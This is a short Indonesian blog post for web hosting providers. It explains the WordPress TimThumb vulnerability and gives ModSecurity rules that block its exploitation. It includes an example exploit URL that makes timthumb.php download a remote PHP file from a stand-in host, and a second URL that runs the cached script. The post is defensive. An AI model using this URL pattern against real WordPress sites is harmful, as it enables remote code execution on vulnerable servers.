Maraknya bug timthumb pada wordpress membuat kelabakan user yang menggunakan CMS WordPress, bila anda adalah seorang hoster (Provider Web Hosting ) dan memiliki server sendiri, lakukan upaya pencegahan exploitasi file timthumb wordpress dengan cara memasang rules mod security.
http://example.com/wp-content/themes/themename/timthumb.php?src=http://example.org/file.php
contoh tersebut membuat file timthumb mendownload file sang hacker
sedangkan :
http://example.com/wp-content/themes/themename/cache/1234567890abcdef.php
Digunakan untuk menjalankan script sang hacker
——
Pasang Rules sbb di mod_sec :
SecRule SCRIPT_BASENAME "^(tim)?thumb.php$" "deny,status:412,auditlog,chain"
SecRule ARGS:src ".php[345]?$"
Dan tambahkan juga :
SecRule REQUEST_FILENAME "/wp-content/themes/.+/cache/[a-f0-9]+.php[345]?$" "deny,status:412,auditlog"
Hal tersebut hanya untuk mencegah saja, bukan berarti user harus tenang2 saja menggunakan wordpress themes yang tidak pernah di update dan membiarkan versi timthumb versi lawas.
Leave a Reply
You must be logged in to post a comment.